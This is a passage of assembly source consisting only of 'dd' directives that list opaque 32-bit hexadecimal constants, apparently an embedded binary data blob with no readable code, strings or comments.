8AD58088h, 412245Eh dd 292898E3h, 0F8752144h, 80FEA4BDh, 1A603944h, 0BA29CA8Ch dd 291178EAh, 8C11F707h, 7BD1D0EBh, 1904F5B3h, 0E9226B83h dd 0E98390DBh, 30B09D6Ah, 0DC5B33ADh, 18F02412h, 0B92E2E50h dd 0F254615Ch, 44028EBh, 235AFDC4h, 7F4423BBh, 54250901h dd 7830F245h, 17FCA0C2h, 2DC847B7h, 78A0AF7Bh, 22C73B0Fh dd 0C6D6CC1Dh, 78C81917h, 2E574ECEh, 0B2E231Ch, 0FBC3B349h dd 2545C03Ch, 11C4496h, 99842F41h, 7D557151h, 6A0782E8h dd 0C11805CAh, 76681138h, 527B0434h, 0E2356295h, 3074B228h dd 0D63F4414h, 0AF27FA7Ah, 1D18E2EEh, 80D711DCh, 0D2C775E6h dd 0E4309774h, 97497C79h, 12F232Ch, 0BACC8C1Ch, 882C18FAh dd 8C7E143Dh, 0AB559A03h, 4DC0709h, 0A59002F8h, 770A95Dh dd 983A0F60h, 70E56FA0h, 97E63BA9h, 96EB7900h, 0ECF9C0DBh dd 0C9E75814h, 33122E0h, 60404AFAh, 0A783D903h, 93BCE9B8h dd 57872C01h, 2FAD3BAEh, 0E790202Eh, 4B002841h, 7981F0Ch dd 0E89C73h, 11622F64h, 0A9B302D0h, 68EEE032h, 91C897D9h dd 479C8E90h, 3890DA48h, 606E7708h, 0F1EC2180h, 7B01964Dh dd 2AF3E7AAh, 0C203FA5h, 35521261h, 0C7449C99h, 0E0CB1D4Ah dd 0CFC0C3C8h, 2B1B4CEh, 0AF7CC1BDh, 3448A139h, 0D512ED24h dd 0F5129DBAh, 6D103890h, 2AA9C064h, 0EB1724Eh, 4A3B901h dd 0C10BB8D0h, 40ED0470h, 0C558E9BCh, 0C7651040h, 0B1350F02h dd 8C4466EBh, 1BCC6C00h, 5880942Fh, 4045B18h, 5C63546Ch dd 49110840h, 7B45E9C9h, 529109D4h, 10D47479h, 0C7BD7884h dd 26A24CE3h, 49D430h, 0AF89C85Eh, 7B5EC6Fh, 28B38B02h dd 4C40CC3Bh, 98E50170h, 515A9337h, 0BC1C6486h, 22B86158h dd 1B70367h, 57C8F670h, 77F1AD80h, 0B30D74B2h, 387AD931h dd 95AC006Ah, 665E7B4Eh, 6988FB54h, 9FEF7200h, 0AA138DEh dd 41403CBh, 34F0C9DCh, 0B6D5F001h, 33A59381h, 5710883Ch dd 8EC513D0h, 0FFC79405h, 59B938C0h, 38963071h, 37F2A38h dd 46768CB4h, 34B60026h, 0A03DF1F4h, 72E11AF8h, 7C58CAB3h dd 0B9464F12h, 0DC040013h, 1F00BE69h, 0C76FF1CEh, 8C90B09Fh dd 0C42F00E1h, 269925Dh, 0E002014Ch, 50F57903h, 541C421Bh dd 72465E9Ch, 0B57C270Bh, 5AAE8410h, 0B68090E4h, 9CA09FD9h dd 0E7868E89h, 0CE184800h, 9B4EE43Dh, 0CC40075h, 0C045A96Eh dd 1177047Ah, 0E8BCA195h, 0E0EF8941h, 17A9BC78h, 2184B9Dh dd 0F3E33634h, 0FA716C51h, 8A013618h, 4A7002DDh, 0EC4CAF71h dd 0C22F01DFh, 1BF24E6Eh, 80F049A7h, 24A5B518h, 0FA6FE33Ch dd 0DEF528FFh, 0D44B2AFCh, 2C53E0F0h, 4078D34Ch, 1272C7F7h dd 71114901h, 0F67956FCh, 2560203Ah, 0AE01CC9Eh, 49145A75h dd 1CEC2E81h, 94B50038h, 0A0500EE8h, 0B89371B2h, 0D2853509h dd 0FA4D0C94h, 1C80E3F3h, 4BBB7E0Ah, 0FE02C653h, 71D52D9Fh dd 0E5A74154h, 3E9F08F4h, 29EBD9AEh, 35256C53h, 90123BF4h dd 0DEAC3085h, 36001C7Ch, 27E6BBC7h, 0E87949Fh, 525F42D1h dd 2203C6C1h, 0AF29D015h, 0EA7880B5h, 5E09AE0Eh, 3014876Bh dd 1C67971Dh, 0D97E4801h, 0DBED7282h, 30785FFCh, 0B21764F9h dd 0DC0901BEh, 0DC9D59B8h, 406E4564h, 816FFB9Ch, 0F4CF0ADh dd 5A1A7628h, 51288341h, 7B6242F0h, 27325D02h, 3741B022h dd 6F00DAD3h, 16B50593h, 7D82AEA0h, 3A011AF3h, 0CE179BDh dd 0F8C7149Fh, 0C304C578h, 0B2A545C4h, 3C40C038h, 179EE28h dd 0C4899575h, 0C2BB0A54h, 49AF3060h, 1588249h, 2C740B24h dd 8C725EFEh, 0A4308500h, 0F57BB232h, 0B5A62500h, 2915AC9h dd 54D907FAh, 726E0F9Bh, 9869F188h, 45CA82E4h, 0D02BEE79h dd 0B7FEF828h, 0FA91E817h, 0F88EE484h, 5A51135Ch, 27E01CA0h dd 18E86682h, 0B4006E80h, 8EB8728h, 0B35267Dh, 0D9487EC8h dd 0D244D067h, 4EA5B060h, 0C8D70A17h, 85A46446h, 0C4288588h dd 672560D3h, 0F1D000B0h, 586B5378h, 480F46DFh, 814F50AEh dd 28457C57h, 2A7AA1FBh, 7B13FC28h, 2D14F3B5h, 0CC0E437h dd 8F565946h, 0C2057F28h, 81A249CBh, 0E51064F9h, 228004BDh dd 0E4E29586h, 0DE01DB22h, 97E7A128h, 162E1FF2h, 23FC3A10h dd 0D4CC0029h, 4D1C2A2Bh, 30394A1Fh, 0A0C73880h, 778A81B8h dd 16889A95h, 17F1CECh, 4958CCB4h, 0CFFBE8EBh, 0DF75E905h dd 0A8E663FAh, 0DE1E78E0h, 600106E2h, 75045948h, 0F0886386h dd 44016737h, 2F665334h, 206D1197h, 2E0825D8h, 1400907Ah dd 16FBEED4h, 4A125362h, 0DA640947h, 0B927ACC8h, 61777B00h dd 7DE8A75Bh, 84E74B7Fh, 88748ED0h, 3409C08Fh, 470213D7h dd 5498232Fh, 8584F14Ch, 0FCE45352h, 8CD5BCF8h, 19566A02h dd 74F5B7FEh, 9621849Ch, 0D4E6007Eh, 9A6F4C94h, 39082754h dd 8A647867h, 0BD2B1C60h, 5867EF00h, 0E82239F7h, 0C7FD16CAh dd 8EB213E1h, 0C12EC8D8h, 63813574h, 57120854h, 828829CBh dd 943251FEh, 0DC795A31h, 5306B4Eh, 0CEDADCC1h, 0C35BA840h dd 3F204Ah, 6E1428E1h, 0C7A20DE2h, 8B095739h, 41262145h dd 0F98DE798h, 30A176E2h, 0F0FE73C4h, 1F231400h, 0C8E32D08h dd 5D7F27E7h, 47D81084h, 0C6B409ADh, 0B2BF9904h, 30C2F20Ch dd 2F0027DFh, 76116783h, 7FD3DC3Eh, 0DDF200F9h, 242581CFh dd 7B38B0C6h, 3D9F0960h, 371002D1h, 0F1F4D1C5h, 0A918C2h dd 0E099544Fh, 2B447995h, 685DAE2Fh, 1F596734h, 0E8077Eh dd 4AA6B503h, 80ADD37h, 50FA5431h, 618E3881h, 0A070A699h dd 0A3D4443Fh, 0B592AF0h, 39AF1EB0h, 3000A8D3h, 65F54445h dd 1461485Bh, 16038384h, 40F77428h, 8127BDC5h, 0CA508494h dd 0F0F8D8B8h, 310E1C8Ch, 0B434CF53h, 0B8599F44h, 4DCC047Ch dd 84108277h, 3474E2C1h, 9699207Dh, 0BCB0DA05h, 0E42ECCh dd 0EF7F3235h, 54646C61h, 37DF0B00h, 7B2EB91Dh, 58BC4CEDh dd 0D642401h, 0C9CFDA7Dh, 40A47CBBh, 9807FDF0h, 35615D80h dd 5E65C592h, 0D91B898Ch, 60D3A03Ah, 2D0F4970h, 0E8E477F9h dd 0A73EDA00h, 7C711EF6h, 236B026Ah, 0E581E2D8h, 0E445CC44h dd 0A0A672C9h, 0E0CF964Ch, 450B5440h, 911131B3h, 93F6FA8h dd 44F815C8h, 9178979Fh, 696A808Ah, 9B990C7h, 40E177C5h dd 0A8ED7C02h, 4D42C824h, 0DE1BF2h, 0EE1C3980h, 5E4FEE8h dd 981E2811h, 0F234B244h, 50103026h, 0BE33EC00h, 113527ACh dd 7152127Bh, 0CEF0D19Eh, 3A930041h, 9E49C55h, 649FBE6Eh dd 12808F91h, 0B0D6063Ah, 29A3470Ah, 4A97A84Bh, 57B3CD0h dd 0BA80C48Eh, 0C0020043h, 9A365DBFh, 5A9313DCh, 0C840F0DDh dd 907EFD22h, 0C7E3386Ch, 7BCA7602h, 44BA9B7h, 0A1867FE0h dd 526ED30Bh, 0D904517Dh, 0CF4188Eh, 0D56C6797h, 89091A8h dd 8CC07C64h, 1672FD4Eh, 2134C0E8h, 0C73FF3E7h, 0E06802BFh dd 0F4316E42h, 0D1DE1898h, 0ED245291h, 7D46307Ch, 88A4250h dd 43C785B7h, 401E5E2Ah, 3D093AB8h, 20C4FA87h, 220AFDF3h dd 84C6B548h, 0EB24D310h, 60B464ACh, 2EE42837h, 73681C45h dd 7B282FE0h, 0EBBF1E00h, 29AE928Ah, 4822FFB7h, 2DBE03Eh dd 0CA270AA8h, 0C5B3D301h, 0DB88384Eh, 8D1344C0h, 1FB4EAB2h dd 923D7A85h, 51884FC7h dd 6EC9B41h, 863BE069h, 539F7001h, 65ED5AB7h, 99DC202Bh dd 0E6000A50h, 7D7AD748h, 131EA02Eh, 0A257AB74h, 301FE254h dd 0A200563Fh, 0C271DE37h, 144CFA7h, 68E5DF10h, 0C1D0419Fh dd 21C47CBBh, 5620AE14h, 4007D946h, 0D0DF298Ch, 3496F349h dd 4F542500h, 0AC8D3808h, 8E711Dh, 3FC15029h, 23253CCDh dd 65E7E41Dh, 0E52CC02Fh, 0D4A09F5Dh, 16F82737h, 9ADB0C00h dd 0F1710B43h, 27FEC13h, 7AC04A72h, 8CB7CBE6h, 7C7E2180h dd 64A5E9h, 0D99C0D14h, 0FFFE7D47h, 1491B15Fh, 0C038D321h dd 49C30B70h, 0A0702251h, 0BCA0E04Ch, 9058C74h, 53CBAD73h dd 0B56B94A4h, 5276C890h, 61C3E200h, 49F264D1h, 0EE483021h dd 0B7AFF980h, 0B4801526h, 1892400h, 3BB413h, 3FB50492h dd 6F1A063Dh, 1E31AF09h, 0FA88A0DCh, 0B8D3EEF1h, 9C8C0284h dd 1D869103h, 28814089h, 0DDE7FEF2h, 1389BEDDh, 0F8E07D18h dd 12548076h, 680A4E2Fh, 95025EE8h, 10376406h, 38A6B611h dd 0E2130858h, 9E0E37Ch, 608F0253h, 2431B990h, 84C09F75h dd 1DE3F1Ah, 7B8BBF91h, 0D4E8D038h, 240C058Ch, 88D9CBA5h dd 4900ADA4h, 0ECC49DF2h, 0B8EFC168h, 0DBAB2068h, 0CE65E811h dd 48C4DF00h, 0E25C1318h, 60BC5558h, 5B2A4CCEh, 78119DFFh dd 0CC942EBAh, 4BACE8F9h, 22119200h, 426239EEh, 0B4445051h dd 0ED05EF59h, 89B890h, 0FBB72127h, 3A016DE6h, 0C48CF525h dd 11F844A0h, 2D2FDF01h, 0B8DD02FAh, 0C823E189h, 0C311D4D1h dd 0CCB84A77h, 3A024884h, 7F2A4B4Eh, 138828CBh, 0A9F831BBh dd 89839FAh, 45C7EF24h, 0F29CC89Eh, 24C9D724h, 5EC85E52h dd 4B00C346h, 0D7BCB313h, 0D33039FEh, 0C88B1D0h, 437A004Ah dd 0C14F5D69h, 12030ACBh, 0C8A0C4A1h, 7FFC021h, 0C44497F3h dd 76A78612h, 0C4CA6005h, 0B281B0ECh, 24C159B8h, 4904ED68h dd 5F73ABB3h, 650080F9h, 5EDD2303h, 9A39D1A5h, 5DA69DA2h dd 4C541480h, 794618E8h, 0A285F793h, 1A79482Eh, 1BD76091h dd 0F77391CCh, 0ADD28C40h, 0CDC8A38h, 0B6173D4h, 0CC9FE44h dd 0D80EB0C3h, 0B4EE8293h, 4622042Ch, 34B8D241h, 9C505125h dd 0D9335F30h, 3C554890h, 0E1D9F3Ch, 0D067564Dh, 0C5EF9D24h dd 11BC5400h, 0A110ACD3h, 0A2DF009Bh, 9C96A620h, 7401024Bh dd 7BE8C90Bh, 2E3BD9B5h, 27323FCh, 5AFDF571h, 0FCFD1C43h dd 7D398410h, 0F6DC2300h, 6C172F4Ah, 6CA209A7h, 46277210h dd 2CE24AF4h, 8730D8F2h, 0AA8A00A6h, 0A5DCC755h, 69305A80h dd 7C8C8073h, 49493B9h, 0C4768A28h, 0E840AA98h, 80BA481Ch dd 49CB0BCCh, 88DB81DDh, 0B4DCD0h, 4E94AFB7h, 766EB275h dd 7247C988h, 0B0D6000Dh, 8E617340h, 17005A87h, 8C4D8D7h dd 4A8A520Ch, 0A2B0F37Dh, 65CB30D3h, 0AB582095h, 0E8E832FDh dd 46210B16h, 9420EB49h, 0AE86BCE6h, 4027F12Dh, 0BA770150h dd 0CCD12730h, 381A34A2h, 0F8C12E06h, 0A4711F02h, 4211305Dh dd 99017CD6h, 0F6CDDFC0h, 0B43C7881h, 28F95289h, 37188EF1h dd 12895F13h, 0DA0DF40Fh, 4AD10358h, 9D290BF4h, 0D479CE06h dd 0B041540Ch, 6C34445Dh, 792F4479h, 0A9600096h, 1C6B694h dd 3654100Bh, 28CEA68Fh, 8CD9EC28h, 43E9B300h, 7FB6CD0Ah dd 0D47004E6h, 0C3238A1Fh, 0EB87D58h, 6309FFDFh, 5182CC46h dd 182779FCh, 1F4D04E0h, 0C17813C8h, 701B8940h, 0C1004CDCh dd 6CE5DF1Eh, 612F0AEh, 0FFC81DD1h, 8104417Ch, 389E995Ah dd 8E0C35BEh, 0C18E888Ch, 0E406A131h, 716FE65h, 0CCA0A5B6h dd 4D538861h, 0E4B60A7Eh, 9B362385h, 0A06B90C2h, 8DA69FCCh dd 5739CCC6h, 2F14DE91h, 0CAF094A2h, 0F32590B8h, 0AA177874h dd 9C39B60Ch, 2FCCF8A2h, 48E5709h, 0BEC57F44h, 0DA23EC3Bh dd 0B89B1C00h, 1324BE0Fh, 8CD8EAF8h, 12E99F34h, 0AF5854B8h dd 0F4A18C0Dh, 9A209802h, 0A45020D3h, 834ADAB0h, 20AF3CD2h dd 383E5946h, 19DB4B4h, 935EE148h, 3C640422h, 0B7FA026Ah dd 0E51B07DEh, 52AC425Bh, 4480D357h, 303E22DDh, 10AF491Eh dd 0BB18F180h, 2D547AECh, 200E9B0Ah, 5FE5A161h, 0BC302C86h dd 781C8CD5h, 0A70BB743h, 0C507081h, 2E9E42C6h, 49D85C9h dd 508C22ECh, 0D59C400Dh, 0C0887B5Bh, 4E430009h, 9794BB2Ah dd 750093BAh, 0F3E7F8Fh, 4B1601B3h, 18F0906Eh, 320028ADh dd 0FE53CEC6h, 0BD487335h, 2088ACC0h, 440D6C12h, 38D3F805h dd 0E824F8F8h, 0D2465E00h, 4E161701h, 32A5DBFAh, 8094E9Ch dd 7C18D4F5h, 7ED846h, 0D125D51h, 0D31E4AF8h, 0CB21C960h dd 834447h, 96F0DBAAh, 15D656B2h, 2402E45Fh, 0FC324AA6h dd 0BB540414h, 26148202h, 0DD51B920h, 0C4C9D7Ch, 7DB7FD09h dd 0C1C427AEh, 2A4D0528h, 6BCE807h, 8F4681B9h, 0FEC82638h dd 49B34128h, 0D8002A25h, 8FB94798h, 0EF2A164Ch, 89D8FCABh dd 828413ECh, 0C2462504h, 0B60230A8h, 37C060F1h, 0DFAE0035h dd 0FE4E9E28h, 200BACEh, 7E1BB3A9h, 4A2DFA74h, 7490F318h dd 2042DF3Fh, 31DE0F29h, 0F037E31Ch, 8B14ED24h, 0C23CF3C7h dd 0E58F9A51h, 0B54909E4h, 9EC99C03h, 5A391002h, 0C2189C03h dd 43005C14h, 0BEB017B9h, 9B24BD70h, 0AA00AC09h, 3857E0F8h dd 0A85198B3h, 1DCF6160h, 652D51BAh, 0A799068h, 8CCD5286h dd 58DFFE11h, 3B35C0D8h, 430448h, 2B293853h, 118BC834h dd 151605FAh, 0FCA25ED7h, 8FF90177h, 0D0B29E6Eh, 25B873C4h dd 0C44065F3h, 1AB067EFh, 6951C4AAh, 3880D111h, 675D806Ch dd 0D6823512h, 59F210C2h, 18FA7104h, 4E267079h, 8884B26Ah dd 0F9467EF2h, 0DD45781Fh, 4C508032h, 7F3D31C5h, 0C647C283h dd 20979D48h, 0E281D491h, 7CE634A3h, 5845C0CCh, 1DEB2D77h dd 1965C5B4h, 0C1C71860h, 0F261807Dh, 74504624h, 6C0309CCh dd 0C741207h, 4674342Ch, 0F14102D7h, 0C25B1FFFh, 8CA55D0Ch dd 492C426Bh, 54796C99h, 465E202Eh, 0D24C00DBh, 91C4E3F5h dd 0B60100CBh, 72EF1D1Eh, 7C2805F3h, 7F2E28FEh, 2F3B448Ah dd 11289F6Bh, 0B70780BEh, 3B2547A2h, 7601B3EAh, 8334CC04h dd 5C298EC6h, 0D49565E8h, 0E1100CA9h, 10A2D38Eh, 0AE302CB2h dd 0C8811399h, 336C20E7h, 0FBFD32h, 12942FDFh, 0AC65530Dh dd 0D112CB80h, 0ECED07D4h, 0D2E1A0B1h, 130562E9h, 1FF9C6E4h dd 0F8F8C494h, 921A2780h, 40B024DDh, 9FA90CA3h, 0E0D02EBBh dd 4BCAF38h, 6754DC4Eh, 788CC7F2h, 88AC3C12h, 0A864C80h dd 63002AA0h, 451CDB46h, 2946DA1h, 0DA30C704h, 30560318h dd 81C60C4Fh, 8CD00096h, 6C530916h, 0F5013918h, 43DDD35h dd 2E2B57CFh, 232354h, 0E2725D67h, 0C898D7D1h, 222AFA27h dd 0CCD294h, 4101ED39h, 8CF30C5Eh, 23BC805Ch, 0F7823E8Ch dd 0F119A681h, 2B7C6E1Eh, 0C5506097h, 4D3D4Ch, 3372EEE9h dd 2754DB8Eh, 0E5EA4F00h, 0C634E674h, 0C8E0BDC4h, 4182D277h dd 842E7EDCh, 8314F8ECh, 0A8A05D9Dh, 1012C06h, 93C90A24h dd 2F09D0AEh, 11414822h, 2C7B21FDh, 52C6045Ch, 0CCAC27BAh dd 28B276C8h, 66604809h, 9C4B213h, 0DE5FF1ADh, 0BC4498CAh dd 10A0355Ch, 182DD1C9h, 0A4023898h, 0A0B7982Ch, 7C936D12h dd 0B84FE8C2h, 2CA1FA1h, 0F70445B1h, 1E508086h, 5E0E450Dh dd 80372425h, 0EC95C818h, 0E7DECB30h, 20636886h, 14D0409Fh dd 0A12A1852h, 49AF9812h, 1E92C20h, 80612B1Dh, 0F474A019h dd 7A0036C0h, 0C9D20E44h dd 16E7FD1Ch, 0C8D055FFh, 4910B950h, 0DC1267C5h, 13C4A23Dh dd 280E85C8h, 984BB055h, 9B54EE0h, 86D8721Ch, 3AD2341Ch dd 6568B430h, 4CC64E12h, 0DE9FCCE8h, 2C9867F2h, 6E2D494Ah dd 72CCC117h, 3B361084h, 64B656C8h, 54AC470Bh, 812C8866h dd 98A22C3Eh, 0EA4AC404h, 34FBC87Bh, 7030FA8Ch, 8062EA31h dd 0C1C07B2Eh, 5FC5CAC0h, 8220A582h, 7FF5AA17h, 9AF65901h dd 0FA0FE207h, 0B00FB858h, 4B362185h, 287C664Bh, 2FC0C7F3h dd 1030C931h, 12856259h, 0F2B4F2C1h, 71B730D9h, 0B025BC00h dd 0AFFDEEC6h, 72B1C4B9h, 2330A523h, 97D6005Ch, 0D550C743h dd 2E2F006Ch, 9F5CCDF8h, 260FA36Ah, 8060390Ch, 0B202F3E9h dd 736F8B8h, 5414EFB4h, 60F0FCEAh, 3B3F8038h, 19FF03E6h dd 86916Eh, 97AC6821h, 0E6EF496Fh, 0EAED83Eh, 820EF457h dd 0F237F121h, 68730620h, 0FC079FCDh, 6F0FFE0Fh, 780F93E9h dd 26D4603Ch, 0E8549647h, 381800E4h, 0C9C17ACEh, 0E897D366h dd 741B4E0h, 76B1AF34h, 0C97E61AAh, 0E8982CD2h, 42048CD7h dd 244F8533h, 7720D080h, 165EF048h, 0B8CBDC67h, 1584AE18h dd 9E34812Ch, 0DF08895Bh, 3D4883DBh, 0A610112Fh, 8C931DDh dd 0C3FA1D0h, 3E08BD4Ch, 2618B162h, 0DACF0369h, 2D611018h dd 0C64E3040h, 2072A008h, 20CA2920h, 343156C3h, 0C69510ABh dd 0BFF6088Ch, 31C6C328h, 0FC088CCFh, 0E320C6B2h, 0C832382Eh dd 37D8986h, 18102AE7h, 65109471h, 0C8BF1884h, 0CC04BE38h dd 2659EE08h, 831739C6h, 0D84C3108h, 885D8B20h, 88AF248h dd 5E0CC00Ch, 0F7350881h, 31B428A4h, 0E2DC0828h, 2008E206h dd 2820BAB5h, 0C4539801h, 6AE8F28h, 20102BC9h, 6531D6BDh dd 0AD7708A9h, 8CA47A01h, 875FC68h, 18E06541h, 658C46BBh dd 1E2010D2h, 0E1BD2087h, 309DAD20h, 6D087683h, 5DF8D0FEh dd 0DE705463h, 0B40810FBh, 80FA2A3Ah, 1036F631h, 7C016C48h dd 0B59453D9h, 0F00B082Ah, 28658F31h, 0F001A174h, 0E2088CC1h dd 405D20CDh, 7F40C447h, 0E7C8A876h, 24DA81A2h, 38620428h dd 245EC08h, 0E1035F47h, 624818E4h, 8EA23088h, 88C808CAh dd 4C4AC092h, 238ABCA6h, 3D98F846h, 80290508h, 28C6A79Bh dd 313892B3h, 0F4087E5Bh, 0A208C3Ch, 0CE53107Ah, 18B9A3C9h dd 0BFF98873h, 60F30CA5h, 0BE635918h, 10AFD228h, 10626B18h dd 37108419h, 511B3203h, 9AF0A721h, 0A1FF29ECh, 0B18CE5C4h dd 3F30BCF8h, 0ABB58040h, 9C91FCD4h, 99014A78h, 0F8208C6Dh dd 0A803104Bh, 0CCCB1E8Ch, 1A19628h, 0B5085164h, 0D7590091h dd 0CC7F208Ch, 0F0A81208h, 8CC4CDAh, 5455C90Eh, 817CB0A0h dd 96AC24FDh, 0C42B6E40h, 1C4E9939h, 0BC4C61D2h, 0C9C740C5h dd 502295C1h, 0B4026FC2h, 633A03C9h, 0BC44302Ah, 18001949h dd 4F20A62Ch, 3F30C473h, 0F8340ADEh, 0BE99498h, 784780E5h dd 32AB10C6h, 3CA24940h, 866EA18h, 18C4486Bh, 510A7F8Ah dd 8F638DE4h, 8910F310h, 0E1856A1h, 310F1879h, 802AA880h dd 788086CBh, 30A08037h, 0C4FC0580h, 9551408h, 22DC23AAh dd 645FFA5Bh, 7DE52CA4h, 4F441659h, 8003BDECh, 100045B4h dd 1AAB3CAFh, 5CFD961h, 3695A44Eh, 73AC901Fh, 43007B62h dd 0C7FAA748h, 0FCCD28Eh, 5E831C47h, 94688267h, 1E6CF935h dd 0CB0026DBh, 0F291BC56h, 0D31B0C8Fh, 7E504AC2h, 5D99F4D8h dd 0A0FB6004h, 0E7A9CAB9h, 9002BE03h, 0C038F036h, 5B7AE64h dd 88DAA10Bh, 58D4A9ABh, 4C0E1284h, 91819F1Eh, 53FF81DBh dd 181990BCh, 0DC0510D7h, 0F4B848BEh, 71800F00h, 0A9AAB363h dd 0B4400029h, 0C202AB0Dh, 902A0A3h, 0B95EAEBBh, 0B24480AAh dd 0E54AABh, 3FAF99FBh, 977B89E8h, 41F8CA00h, 0ED5DC1ECh dd 0FF8DF1Ch, 3806FE87h, 0FB2510BAh, 0F050FAC2h, 0BB97C6Ch dd 0EADAB6A9h, 4C3F9850h, 0E27CFCCCh, 0C15DE18h, 60FDD338h dd 98252004h, 5B135E7Bh, 0CCB1CB6Dh, 0AECC43Fh, 3C84472Ch dd 433BEFF8h, 4C52D318h, 0F4544120h, 210BC5Bh, 31D5DFCh dd 0CDA0BB00h, 3CC000E5h, 7E858CDDh, 9D007A73h, 7165EB33h dd 0A482FC48h, 966D0064h, 0E5C4FEEDh, 2053A9Dh, 717E947Ah dd 8EFDE820h, 4F6E18E3h, 59B328A7h, 1EEB2307h, 15C31C97h dd 0D74102F4h, 59DEC3ABh, 973E0840h, 3E6CB3Eh, 8EF19DCFh dd 1A6AE151h, 3CB1EEF4h, 721E6753h, 743C09Bh, 23E3CFE6h dd 85FDB938h, 0C502CA66h, 92DB5400h, 0EED9AE5Dh, 0A9B33D91h dd 0CEE35E09h, 930A607Eh, 970088C6h, 52E725D4h, 3CE1C478h dd 0AB500ADh, 1BCE5DBh, 0CE87FDFAh, 415AA0DAh, 0FB6E12ACh dd 9500F0D6h, 0CDBA73D3h, 21CEEh, 7F806454h, 0EBA4FB6Ch dd 0E3C48400h, 0D51E6D46h, 829D0063h, 5D935470h, 0E984E10h dd 0B8FE4D37h, 1FBB467h, 0BCE66A3Ch, 497EE439h, 0DE3968FDh dd 35000048h, 2310A2FEh, 62003FF5h, 0F4C0E638h, 0FC14C94Ah dd 725E12B4h, 1C7C015Bh, 0D082D446h, 3F1C4FCCh, 0C8F0DCD3h dd 1E8B107Ch, 80FD249Fh, 0AA90332h, 949EAAD3h, 5E352A07h dd 705ED24Fh, 0BBE5FDC7h, 0B0D0A30Bh, 0CB8BF8D1h, 359728A9h dd 80882FFCh, 0D9D804C0h, 0E0504AF0h, 148D0A8h, 0B9B800B4h dd 0E8374D68h, 30D44947h, 0B92700DEh, 0BEE5A902h, 30780A4h dd 0AB6A6717h, 0D2DAD040h, 42249A55h, 19B73E7Fh, 3630F5B8h dd 0C5020469h, 0D983E33Ch, 953CB444h, 5E41807Dh, 6C987A11h dd 240F1FF0h, 1A8E0009h, 0C9E2E596h, 85795D12h, 5B71E445h dd 0AE3ECFC1h, 47DDFF0h, 0FD0BFF86h, 1B1180CAh, 811DEAA2h dd 2381677Eh, 74660641h, 0C0FCCEC8h, 5D9B4D88h, 0B7006946h dd 1D9E8F09h, 65BE3Ah, 37DA9768h, 0C9023990h, 7CCC1802h dd 0A0E6E26Eh, 0A91C9A9Ch, 6BDA18CFh, 0D82BD8A2h, 0B357AB0h dd 0C06110DCh, 0A043B4B2h, 4062825Dh, 707A9300h, 2025636Eh dd 6CA0149Ah, 48501563h, 0C30B01C0h, 83C1E6C9h, 9A31DCAh dd 0E386FD78h, 3CE7B0A1h, 0B0C9A488h, 38528013h, 70FB604Dh dd 6B26347Dh, 86482800h, 807E28E0h, 3B42550h, 90A688C8h dd 40BBC9EBh, 0DCE385CCh, 485DAA09h, 505809ACh, 9CD3005Ch dd 0EC56C61h, 5D03E31Dh, 0BCFDD5EAh, 0F0200147h, 3C5E6645h dd 5A58843Fh, 1085369Bh, 40AD7C5Eh, 2C65E318h, 991493CDh dd 6089C873h, 4E6A59BEh, 0FB89C830h, 117898BFh, 0D32780B7h dd 88645831h, 0BC314017h, 0C3A0F030h, 7D428550h, 89E78CC1h dd 0AF8B8E38h, 0CC608DCh, 8AE02596h, 30F11BF8h, 6B306600h dd 431D40EBh, 0E13B2672h, 4870080h, 91FE4286h, 8877E618h dd 484E1611h, 6804405Ch, 818FF0D5h, 8282E048h, 4E9FEBF9h dd 80DC6597h, 90CD318Fh, 0AA032146h, 0B350A096h, 19893E8Eh dd 4A20232Ch, 876E06F4h, 6100100Eh, 8DB8D6B0h, 98EE7D8Fh dd 6E1A3F3Eh, 0B8CFB28h, 2A3BDAB1h, 569AEC10h, 0D898CA71h dd 5AF6619h, 0B8403E80h, 0CDD3B25h, 873065F0h, 0E498FD18h dd 0B56ECE0Dh, 0D1F97044h, 58890DC8h, 0C789E882h, 0E0A63807h dd 7BC5707Eh, 71541402h, 4880DA66h, 3AE3394Ch, 36B36E11h dd 0C0F2CD48h, 0A1AFD8A2h, 5BB5461h, 0DC013409h, 0A4480274h dd 10617C41h, 0DC0021EAh, 1249DE5Ah, 2DC43E20h, 0B2B05A09h dd 2CD31620h, 0FEB0414Fh, 80AD5FDEh, 0A9DAB320h, 17EEF17h dd 999A018Bh, 2384076Eh, 17B8448Ch, 54D3708Ch, 9189A07Ah dd 0A0FB1994h, 0DE804254h dd 806FFE10h, 13092D3Bh, 1645FBFh, 0D4E70DB3h, 6E146EF0h dd 2649405Dh, 3EBFC882h, 847D9702h, 10804628h, 0F86D5AF2h dd 0D5090C8h, 0BC745FE4h, 71B43008h, 0B5137914h, 0ED1909B2h dd 0FD48A6A2h, 58009D98h, 4DF70F99h, 0C06E1D0Ch, 0E56815h dd 0D61747C1h, 0E69BFE59h, 1C0432EBh, 4D6DC46h, 7E1F0907h dd 7CA08717h, 30E5C278h, 7E216D4h, 0C5169CA6h, 477B2B8h dd 4A2F0E22h, 37B09168h, 0A862C194h, 14D8699Eh, 8B2C9CB0h dd 80236Ch, 80C31E0Eh, 0BD00FE4Fh, 8E286602h, 0FF86B1DDh dd 3F353EF0h, 0A1806D2Fh, 0CA396DCh, 2009A17h, 9DE00A51h dd 0A0A9766Eh, 0FD2B88h, 7B71E744h, 0D5E6049Ch, 251C0E74h dd 0BEC0AA46h, 6EC623E9h, 0D5F0E37h, 0D73D1CCFh, 9D844031h dd 5B461869h, 24A560A2h, 4E9C09E7h, 9CC09C0Eh, 3CE6DDBh dd 1D82600h, 2AD34990h, 121C904Bh, 2691266h, 5AC1ED0Ch dd 0E32EC4E8h, 0F12C6890h, 6D418837h, 0B4242D57h, 6E163ABCh dd 0E501F4C9h, 34FB8077h, 1474F8EDh, 594530C0h, 0BE2BCF1h dd 0EBA5DAB8h, 88CC54A5h, 6438951Ch, 0D5E50018h, 0E49AA3B9h dd 43D3165h, 0EF4DA540h, 2E4D141h, 3CE87DB0h, 0D4AB1CD3h dd 35DDDEE0h, 293B1600h, 0D7DB253Ah, 4CE5717Eh, 5218943Ch dd 0F4EC50E6h, 98703554h, 1CD00995h, 2B52E64h, 62AD42FCh dd 24A21849h, 7E00CB88h, 3B7F49AAh, 906C8B46h, 0B6FD00D0h dd 5E3616EDh, 0A0B0319Eh, 0F0DDE53Bh, 60C188B2h, 0DEC6E14h dd 0E2E3B425h, 0C2764236h, 0B6E0900Ch, 0FB512ADAh, 0C8A44D98h dd 70C536C7h, 59B8CC6Bh, 3BB1FC0Ch, 139C02Ch, 0C3E513DFh dd 92B0EBDAh, 48121730h, 6E31D037h, 400584FBh, 0ED474EC8h dd 96019EE6h, 5E382515h, 707078A9h, 49503B3h, 